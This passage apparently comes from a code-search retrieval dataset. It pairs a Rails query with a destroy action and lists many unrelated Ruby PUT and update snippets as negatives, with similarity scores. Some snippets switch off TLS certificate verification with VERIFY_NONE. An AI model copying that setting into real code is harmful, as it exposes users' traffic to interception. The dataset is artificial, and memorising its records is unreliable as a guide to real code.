volumes_xml += \"<volume><id>#{id}</id></volume>\"\n end\n volumes_xml += \"</volumes>\"\n\n\n # curl -v --data @new_volumes.xml -X PUT \\\n # -H \"Content-Type: application/vnd.htrc-volume+xml\" \\\n # -H \"Accept: application/vnd.htrc-volume+xml\" \\\n # http://localhost:9763/ExtensionAPI-0.1.0/services/worksets/workset1/volumes?user=fred\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets/#{workset_name}\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Put.new(url.path)\n request[\"Content-Type\"] = \"application/vnd.htrc-volume+xml\"\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n\n request.body = volumes_xml\n response = http.request(request)\n\n #xml = response.body\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error retrieving worksets (HTTP #{response.code})\")\n end\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(id:, url_variables:, body:)\n ensure_service_document\n end", "def put(path, params)\n request(:put, path, params)\n end", "def put(uri, params = {})\n send_request(uri, :put, params)\n end", "def update\n url = 'https://casa-core.herokuapp.com/api/units/' + params[:id]\n query = {\n 'name' => params[:name]\n }\n response = HTTParty.put(url, :query => query, :headers => { \"Authorization\" => AUTH, \"Host\" => HOST})\n\n if response.code == 200\n redirect_to unit_path(params[:id]), notice: 'Unit was successfully updated.'\n else\n redirect_to unit_path(params[:id]), notice: 'Sheesh! Minor hiccup...run that again!'\n end\n end", "def save\n return if @content.nil?\n put_rest \"extra/#{@name}\", @content, :content_type => \"application/octet-stream\"\n end", "def put(uri, parameters)\n response = Unirest.put uri, parameters: parameters\n response.body\n end", "def update\n respond_to do |format|\n if @aoo_ref.update(aoo_ref_params)\n format.html { redirect_to @aoo_ref, notice: 'Aoo ref was successfully updated.' }\n format.json { render :show, status: :ok, location: @aoo_ref }\n else\n format.html { render :edit }\n format.json { render json: @aoo_ref.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n with_error_handling do\n attrs = parsed_body(format: ctype)\n\n Lark::Transactions::UpdateAuthority\n .new(event_stream: event_stream, adapter: adapter)\n .call(id: params['id'], attributes: attrs)\n\n [204, cors_allow_header, []]\n end\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put url, object = nil\n request url, HTTP::Put, object\n end", "def put(path, params = {})\n request(:put, path, params)\n end", "def put(path, params = {})\n request(:put, path, params)\n end", "def update_volumes(username, token, workset_name, volume_ids)\n\n #<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n #<volumes xmlns=\"http://registry.htrc.i3.illinois.edu/entities/workset\">\n # <volume>\n # <id>9999999</id>\n # </volume>\n # <volume>\n # <id>3333333</id>\n # </volume>\n # </volumes>\n volumes_xml =\n \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\" +\n \"<volumes xmlns=\\\"http://registry.htrc.i3.illinois.edu/entities/workset\\\">\";\n\n for id in volume_ids\n volumes_xml += \"<volume><id>#{id}</id></volume>\"\n end\n volumes_xml += \"</volumes>\"\n\n\n # curl -v --data @new_volumes.xml -X PUT \\\n # -H \"Content-Type: application/vnd.htrc-volume+xml\" \\\n # -H \"Accept: application/vnd.htrc-volume+xml\" \\\n # http://localhost:9763/ExtensionAPI-0.1.0/services/worksets/workset1/volumes?user=fred\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets/#{workset_name}/volumes\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Put.new(url.request_uri)\n request[\"Content-Type\"] = \"application/vnd.htrc-volume+xml\"\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n\n request.body = volumes_xml\n response = http.request(request)\n\n #xml = response.body\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error retrieving worksets (HTTP #{response.code})\")\n end\n\n end", "def put(uri, params = {}, env = {}, &block)\n super(uri, params, env, &block).tap do |response|\n record_request_response_pair!('put')\n end\n end", "def update\n @asset = Asset.find(params[:id])\n \n respond_to do |format|\n if @asset.update_attributes(params[:asset])\n flash[:notice] = 'Asset was successfully updated.'\n format.html { redirect_to(@asset) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @asset.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put(path, parameters = {})\n request(:put, path, parameters)\n end", "def put(path, params)\n parse_response @client[path].put(params)\n end", "def test_should_update_invite_via_API_XML\r\n get \"/logout\"\r\n put \"/invites/1.xml\", :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => 'test@email.com',\r\n :user_id => 1 }\r\n assert_response 401\r\n end", "def update\n @aauto = Aauto.find(params[:id])\n\n respond_to do |format|\n if @aauto.update_attributes(params[:aauto])\n format.html { redirect_to(@aauto, :notice => 'Aauto was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @aauto.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @asset = Asset.find(params[:id])\n\n respond_to do |format|\n if @asset.update_attributes(params[:asset])\n format.html { redirect_to(@asset, :notice => 'Asset was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @asset.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put(url, body = {})\n call(url: url, action: :put, body: body)\n end", "def update\n @blobs_component = BlobsComponent.find(params[:id])\n\n respond_to do |format|\n if @blobs_component.update_attributes(params[:blobs_component])\n flash[:notice] = 'BlobsComponent was successfully updated.'\n format.html { redirect_to(@blobs_component) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @blobs_component.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put(path, body = nil, ctype = 'application/json')\n make_call(mk_conn(path, 'Content-Type': ctype,\n 'Accept': 'application/json'),\n :put, nil, body.to_json)\n end", "def update\n @box = Box.find(params[:id])\n\n respond_to do |format|\n if @box.update_attributes(params[:box])\n #format.html { redirect_to(@box, :notice => 'Box was successfully updated.') }\n format.html {redirect_to my_boxes_path}\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @box.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put(path, opts = {})\n request(:put, path, opts).body\n end", "def update\n @inventario = Inventario.find(params[:id])\n @foto = @inventario.foto\n \n @service = InventarioService.new(@inventario, @foto)\n respond_to do |format|\n\n if @inventario.update_attributes(params[:inventario],params[:foto_file])\n format.html { redirect_to(@inventario, :notice => 'Inventario was successfully updated.') }\n format.xml { head :ok }\n else\n\t @foto = @service.foto\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @inventario.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @oferta_academica = OfertaAcademica.find(params[:id])\n\n if @oferta_academica.update(params[:oferta_academica])\n head :no_content\n else\n render json: @oferta_academica.errors, status: :unprocessable_entity\n end\n end", "def update\n @peca = Peca.find(params[:id])\n\n respond_to do |format|\n if @peca.update_attributes(params[:peca])\n flash[:notice] = 'Peça atualizada com sucesso.'\n format.html { redirect_to(@peca) }\n format.xml { head :ok }\n else\n flash[:notice] = 'O formulário contém erros. Verifique os campos digitados e tente novamente.'\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @peca.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @caixa = Caixa.find(params[:id])\n\n respond_to do |format|\n if @caixa.update_attributes(params[:caixa])\n format.html { redirect_to @caixa, notice: 'Caixa was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @caixa.errors, status: :unprocessable_entity }\n end\n end\n end", "def update options={}\n client.put(\"/#{id}\", options)\n end", "def put(path, params={})\n RestClient.put request_base+path, params\n end", "def test_putpoi_delete_not_found\n changeset = create(:changeset)\n cs_id = changeset.id\n user = changeset.user\n\n amf_content \"putpoi\", \"/1\", [\"#{user.email}:test\", cs_id, 1, 999999, 0, 0, {}, false]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/1\")\n\n assert_equal 3, result.size\n assert_equal -4, result[0]\n assert_equal \"node\", result[1]\n assert_equal 999999, result[2]\n end", "def update\n respond_to do |format|\n format.xml { head :method_not_allowed }\n format.json { head :method_not_allowed }\n end\n end", "def update\n @protocolo = Protocolo.find(params[:id])\n\n respond_to do |format|\n if @protocolo.update_attributes(params[:protocolo])\n flash[:notice] = 'CADASTRADO COM SUCESSO.'\n format.html { redirect_to(@protocolo) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @protocolo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put url, payload\n RestClient::Request.execute(:method => :put, :url => url, :payload => payload, :headers => lbaas_headers, :timeout => @timeout, :open_timeout => @open_timeout)\n end", "def update\n @artefact = Artefact.find(params[:artefact_id])\n\n @asset = @artefact.assets.find(params[:id])\n\n respond_to do |format|\n if @asset.update_attributes(asset_params)\n format.html { redirect_to artefact_path(@artefact), notice: 'Asset was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @asset.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @envelope = Envelope.find(params[:id])\n\n respond_to do |format|\n if @envelope.update_attributes(params[:envelope])\n flash[:notice] = 'Envelope was successfully updated.'\n format.html { redirect_to(@envelope) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @envelope.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put(path, params={}, options={})\n request(:put, api_path(path), params, options)\n end", "def put(href, additional_parameters = {})\n rest_connect do |base_uri, headers|\n href = \"#{base_uri}/#{href}\" unless begins_with_slash(href)\n new_path = URI.escape(href)\n req = Net::HTTP::Put.new(new_path, headers) \n req.set_content_type('application/json')\n req.body = additional_parameters.to_json\n req\n end\n end", "def update\n respond_to do |format|\n if @atricle.update(atricle_params)\n format.html { redirect_to @atricle, notice: \"Atricle was successfully updated.\" }\n format.json { render :show, status: :ok, location: @atricle }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @atricle.errors, status: :unprocessable_entity }\n end\n end\n end", "def puts_to(path,params,opts={},&block) #:nodoc: \n crud_to(:put,path,params,opts,&block)\n end", "def put endpoint, data\n do_request :put, endpoint, data\n end", "def update\n @arcone = Arcone.find(params[:id])\n\n respond_to do |format|\n if @arcone.update_attributes(params[:arcone])\n format.html { redirect_to @arcone, notice: 'Arcone was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @arcone.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @precio_paquete.update(precio_paquete_params)\n format.html { redirect_to action: \"index\", notice: 'Precio paquete actualizado existosamente.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @precio_paquete.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @atricle.update(atricle_params)\n format.html { redirect_to @atricle, notice: 'Atricle was successfully updated.' }\n format.json { render :show, status: :ok, location: @atricle }\n else\n format.html { render :edit }\n format.json { render json: @atricle.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n doc = Nokogiri::XML(request.body.read)\n cvNode = doc.xpath('elwak/checklisten_vorlage')\n\n update_params = {inaktiv: cvNode.xpath('inaktiv').text.to_s.to_bool}\n respond_to do |format|\n if @checklisten_vorlage.update(update_params)\n format.xml {render :xml => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><success />'}\n else\n format.xml {render :xml => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><error />'}\n end\n end\n end", "def destroy\n @paquete = Paquete.find(params[:id])\n @paquete.destroy\n\n respond_to do |format|\n format.html { redirect_to(paquetes_url) }\n format.xml { head :ok }\n end\n end", "def update\n respond_to do |format|\n\n format.json { render json: Axis.find(params[:id]).update( name: params[:name]) }\n end\n\n # end\n end", "def put payload, path = \"\"\n make_request(path, \"put\", payload)\n end", "def put\n RestClient.put(url, @body, @header) do |rso, req, res|\n setup(rso, req, res)\n end\n end", "def update\n @artefact = Artefact.find(params[:id])\n\n respond_to do |format|\n if @artefact.update_attributes(params[:artefact])\n format.html { redirect_to(artefact_path(@artefact), :notice => 'Artefact was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @artefact.errors, :status => :unprocessable_entity }\n end\n end\n end", "def test_putway_update_valid\n way = create(:way_with_nodes, :nodes_count => 3)\n cs_id = way.changeset.id\n user = way.changeset.user\n\n assert_not_equal({ \"test\" => \"ok\" }, way.tags)\n amf_content \"putway\", \"/1\", [\"#{user.email}:test\", cs_id, way.version, way.id, way.nds, { \"test\" => \"ok\" }, [], {}]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/1\")\n\n assert_equal 8, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal way.id, result[2]\n assert_equal way.id, result[3]\n assert_equal({}, result[4])\n assert_equal way.version + 1, result[5]\n assert_equal({}, result[6])\n assert_equal({}, result[7])\n\n new_way = Way.find(way.id)\n assert_equal way.version + 1, new_way.version\n assert_equal way.nds, new_way.nds\n assert_equal({ \"test\" => \"ok\" }, new_way.tags)\n\n # Test changing the nodes in the way\n a = create(:node).id\n b = create(:node).id\n c = create(:node).id\n d = create(:node).id\n\n assert_not_equal [a, b, c, d], way.nds\n amf_content \"putway\", \"/1\", [\"#{user.email}:test\", cs_id, way.version + 1, way.id, [a, b, c, d], way.tags, [], {}]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/1\")\n\n assert_equal 8, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal way.id, result[2]\n assert_equal way.id, result[3]\n assert_equal({}, result[4])\n assert_equal way.version + 2, result[5]\n assert_equal({}, result[6])\n assert_equal({}, result[7])\n\n new_way = Way.find(way.id)\n assert_equal way.version + 2, new_way.version\n assert_equal [a, b, c, d], new_way.nds\n assert_equal way.tags, new_way.tags\n\n amf_content \"putway\", \"/1\", [\"#{user.email}:test\", cs_id, way.version + 2, way.id, [a, -1, b, c], way.tags, [[4.56, 12.34, -1, 0, { \"test\" => \"new\" }], [12.34, 4.56, b, 1, { \"test\" => \"ok\" }]], { d => 1 }]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/1\")\n new_node_id = result[4][\"-1\"].to_i\n\n assert_equal 8, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal way.id, result[2]\n assert_equal way.id, result[3]\n assert_equal({ \"-1\" => new_node_id }, result[4])\n assert_equal way.version + 3, result[5]\n assert_equal({ new_node_id.to_s => 1, b.to_s => 2 }, result[6])\n assert_equal({ d.to_s => 1 }, result[7])\n\n new_way = Way.find(way.id)\n assert_equal way.version + 3, new_way.version\n assert_equal [a, new_node_id, b, c], new_way.nds\n assert_equal way.tags, new_way.tags\n\n new_node = Node.find(new_node_id)\n assert_equal 1, new_node.version\n assert_equal true, new_node.visible\n assert_equal 4.56, new_node.lon\n assert_equal 12.34, new_node.lat\n assert_equal({ \"test\" => \"new\" }, new_node.tags)\n\n changed_node = Node.find(b)\n assert_equal 2, changed_node.version\n assert_equal true, changed_node.visible\n assert_equal 12.34, changed_node.lon\n assert_equal 4.56, changed_node.lat\n assert_equal({ \"test\" => \"ok\" }, changed_node.tags)\n\n deleted_node = Node.find(d)\n assert_equal 2, deleted_node.version\n assert_equal false, deleted_node.visible\n end", "def update\n @voluntario = Voluntario.find(params[:id])\n params[:voluntario].delete :inclusoes\n\n respond_to do |format|\n if @voluntario.update_attributes(params[:voluntario])\n format.html { redirect_to(@voluntario, :notice => 'Voluntário atualizado com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @voluntario.errors, :status => :unprocessable_entity }\n end\n end\n end", "def rm_update path, data, msg\n\n re = rm_request path, data, 'PUT'\n puts re.body\n chk (re.code!='200'), msg + \"\\n#{re.code} #{re.msg}\\n\\n\"\n return true\n\nend", "def api_put(path, data = {})\n api_request(:put, path, :data => data)\n end", "def update\n @articulo = Articulo.find(params[:id])\n\n respond_to do |format|\n if @articulo.update_attributes(params[:articulo])\n flash[:notice] = ''\n format.html { redirect_to(articulos_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @articulo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def http_put(path, data, content_type = 'application/json')\n http_methods(path, :put, data, content_type)\n end", "def update\n @components_front_tube = Components::FrontTube.find(params[:id])\n\n respond_to do |format|\n if @components_front_tube.update_attributes(params[:components_front_tube])\n format.html { redirect_to(@components_front_tube, :notice => 'Front tube was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @components_front_tube.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n format.html { head :forbidden }\n format.xml { head :forbidden }\n end\n end", "def put(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_put(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end", "def put(url, vars={})\n send_request url, vars, 'PUT'\n end", "def put url, body, headers = {}\n http_request(url, Net::HTTP::Put, body, headers)\n end", "def add_aos_version(args = {}) \n post(\"/aosversions.json/\", args)\nend", "def update\n @container = Container.find(params[:id])\n\n respond_to do |format|\n if @container.update_attributes(params[:container])\n flash[:notice] = 'Container was successfully updated.'\n format.html { redirect_to(@container) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @container.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put(path, opts = {}, &block)\n request(:put, path, opts, &block)\n end", "def put(path, opts = {}, &block)\n request(:put, path, opts, &block)\n end", "def update\n @atest = Atest.find(params[:id])\n\n respond_to do |format|\n if @atest.update_attributes(params[:atest])\n flash[:notice] = 'Atest was successfully updated.'\n format.html { redirect_to(@atest) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @atest.errors, :status => :unprocessable_entity }\n end\n end\n end" ]
[ "0.6471335", "0.6220402", "0.6212913", "0.5825226", "0.57659566", "0.5746392", "0.56363326", "0.56172866", "0.56137544", "0.56069916", "0.5604683", "0.5599773", "0.55682003", "0.555846", "0.5532273", "0.545103", "0.53865725", "0.53727245", "0.5369104", "0.5339157", "0.53387344", "0.53324246", "0.53324246", "0.53324246", "0.5326577", "0.5325947", "0.5325947", "0.5325947", "0.5325947", "0.5325947", "0.5325947", "0.5325947", "0.5325947", "0.5307383", "0.5306105", "0.5300731", "0.5294155", "0.52924913", "0.52700436", "0.5265184", "0.5263502", "0.525726", "0.5254095", "0.52480835", "0.52480835", "0.5245862", "0.52108675", "0.52017426", "0.51891565", "0.51785856", "0.5171149", "0.51690775", "0.5152661", "0.5146865", "0.51453626", "0.51408476", "0.51314306", "0.5120961", "0.5120628", "0.51195866", "0.5115889", "0.5115804", "0.51140904", "0.5111678", "0.51038647", "0.51037794", "0.5103346", "0.5097565", "0.507457", "0.50732243", "0.50722855", "0.50707304", "0.50699735", "0.50494236", "0.5049045", "0.50484216", "0.50474495", "0.5045162", "0.5044942", "0.5042404", "0.5040784", "0.5039058", "0.503756", "0.5032425", "0.50322574", "0.50275385", "0.5025615", "0.5023398", "0.5022846", "0.5022247", "0.50214124", "0.5021289", "0.50211424", "0.5016763", "0.50088125", "0.5008522", "0.5008446", "0.50070053", "0.50070053", "0.50053686" ]
0.59593797
3
DELETE /paquetes/1 DELETE /paquetes/1.xml
def destroy @paquete = Paquete.find(params[:id]) @paquete.destroy respond_to do |format| format.html { redirect_to(paquetes_url) } format.xml { head :ok } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def destroy\n @acre = Acre.find(params[:id])\n @acre.destroy\n\n respond_to do |format|\n format.html { redirect_to(acres_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @aisle = Aisle.find(params[:id])\n @aisle.destroy\n\n respond_to do |format|\n format.html { redirect_to(aisles_url) }\n format.xml { head :ok }\n end\n end", "def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end", "def destroy\n @atest = Atest.find(params[:id])\n @atest.destroy\n\n respond_to do |format|\n format.html { redirect_to(atests_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @aauto = Aauto.find(params[:id])\n @aauto.destroy\n\n respond_to do |format|\n format.html { redirect_to(aautos_url) }\n format.xml { head :ok }\n end\n end", "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "def destroy\n @abonne = Abonne.find(params[:id])\n @abonne.destroy\n\n respond_to do |format|\n format.html { redirect_to(abonnes_url) }\n format.xml { head :ok }\n end\n end", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def destroy\n @catena = Catena.find(params[:id])\n @catena.destroy\n\n respond_to do |format|\n format.html { redirect_to(catenas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @relatestagiario = Relatestagiario.find(params[:id])\n @relatestagiario.destroy\n\n respond_to do |format|\n format.html { redirect_to(relatestagiarios_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @arc = Arc.find(params[:id])\n @arc.destroy\n\n respond_to do |format|\n format.html { redirect_to(arcs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @config_xml = ConfigXml.find(params[:id])\n @config_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_xmls_url) }\n format.xml { head :ok }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end", "def destroy\n @aanwezig = Aanwezig.find(params[:id])\n @aanwezig.destroy\n\n respond_to do |format|\n format.html { redirect_to(aanwezigs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @peca = Peca.find(params[:id])\n @peca.destroy\n flash[:notice] = 'Peça excluída com sucesso.'\n\n respond_to do |format|\n format.html { redirect_to(pecas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\r\n @razdel1 = Razdel1.find(params[:id])\r\n @razdel1.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(razdel1s_url) }\r\n format.xml { head :ok }\r\n end\r\n end", "def destroy\n @path = Path.find(params[:id])\n @path.destroy\n\n respond_to do |format|\n format.html { redirect_to(layer_url) }\n format.xml { head :ok }\n end\n end", "def delete(id)\n request = Net::HTTP::Delete.new(\"#{@url}/#{id}.xml\")\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end", "def destroy \n Link.connection.execute(\"delete from links where id in (#{params[:id].join(',')})\") unless params[:id].blank?\n respond_to do |format|\n format.html { redirect_to(links_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @placa_casa = PlacaCasa.find(params[:id])\n @placa_casa.destroy\n\n respond_to do |format|\n format.html { redirect_to(placa_casas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @almacen = Almacen.find(params[:id])\n @almacen.destroy\n \n respond_to do |format|\n format.html { redirect_to(almacenes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\r\n @asignacion = Asignacion.find(params[:id])\r\n @asignacion.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(asignacions_url) }\r\n format.xml { head :ok }\r\n end\r\n end", "def destroy\n @banana = Banana.find(params[:id])\n @banana.destroy\n\n respond_to do |format|\n format.html { redirect_to(bananas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @ref = Ref.find(params[:id])\n @ref.destroy\n\n respond_to do |format|\n format.html { redirect_to(refs_url) }\n format.xml { head :ok }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @abuse = Abuse.find(params[:id])\n @abuse.destroy\n\n respond_to do |format|\n format.html { redirect_to(abuses_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @reclamacao = Reclamacao.find(params[:id])\n @reclamacao.destroy\n\n respond_to do |format|\n format.html { redirect_to(reclamacaos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @seta = Seta.find(params[:id])\n @seta.destroy\n\n respond_to do |format|\n format.html { redirect_to(setas_url) }\n format.xml { head :ok }\n end\n end", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def destroy\n @certidao = Certidao.find(params[:id])\n @certidao.destroy\n\n respond_to do |format|\n format.html { redirect_to(certidaos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\r\n @asignacionexa = Asignacionlabexa.find(params[:id])\r\n @asignacionexa.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(asignacionlabexas_url) }\r\n format.xml { head :ok }\r\n end\r\n end", "def destroy\n @xlink = Xlink.find(params[:id])\n @xlink.destroy\n\n respond_to do |format|\n format.html { redirect_to xlinks_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @siaikekka = Siaikekka.find(params[:id])\n @siaikekka.destroy\n\n respond_to do |format|\n format.html { redirect_to(siaikekkas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @browsenodeid = Browsenodeid.find(params[:id])\n @browsenodeid.destroy\n\n respond_to do |format|\n format.html { redirect_to(browsenodeids_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @ambito = Ambito.find(params[:id])\n @ambito.destroy\n\n respond_to do |format|\n format.html { redirect_to(ambitos_url) }\n format.xml { head :ok }\n end\n end", "def delete(container_name, file_name)\n validate_path_elements(container_name, file_name)\n\n client.request(\n method: :delete,\n path: \"#{container_name}/#{file_name}\",\n expected: 204\n )\n end", "def destroy\n @receita = Receita.find(params[:id])\n @receita.destroy\n\n respond_to do |format|\n format.html { redirect_to(receitas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @aviso = Aviso.find(params[:id])\n @aviso.destroy\n\n respond_to do |format|\n format.html { redirect_to(avisos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @lien = Lien.find(params[:id])\n @lien.destroy\n\n respond_to do |format|\n format.html { redirect_to(liens_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @lien = Lien.find(params[:id])\n @lien.destroy\n\n respond_to do |format|\n format.html { redirect_to(liens_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @orc_ficha = OrcFicha.find(params[:id])\n @orc_ficha.destroy\n\n respond_to do |format|\n format.html { redirect_to(orc_fichas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @factura = Factura.find(params[:id])\n @factura.destroy\n\n respond_to do |format|\n format.html { redirect_to(facturas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @estudiante = Estudiante.find(params[:id])\n @estudiante.destroy\n\n respond_to do |format|\n format.html { redirect_to(estudiantes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @estudiante = Estudiante.find(params[:id])\n @estudiante.destroy\n\n respond_to do |format|\n format.html { redirect_to(estudiantes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @coleccionista = Coleccionista.find(params[:id])\n @coleccionista.destroy\n\n respond_to do |format|\n format.html { redirect_to(coleccionistas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @helibasis = Helibase.find(params[:id])\n @helibasis.destroy\n\n respond_to do |format|\n format.html { redirect_to(helibases_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @especificacao = Especificacao.find(params[:id])\n @especificacao.destroy\n\n respond_to do |format|\n format.html { redirect_to(especificacaos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @tipo_conta = TipoConta.find(params[:id])\n @tipo_conta.destroy\n\n respond_to do |format|\n format.html { redirect_to(tipo_contas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @articulo = Articulo.find(params[:id])\n @articulo.destroy\n\n respond_to do |format|\n format.html { redirect_to(articulos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @asistencia = Asistencia.find(params[:id])\n @asistencia.destroy\n\n respond_to do |format|\n format.html { redirect_to(asistencias_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @vigencia = Vigencia.find(params[:id])\n @vigencia.destroy\n\n respond_to do |format|\n format.html { redirect_to(vigencias_url) 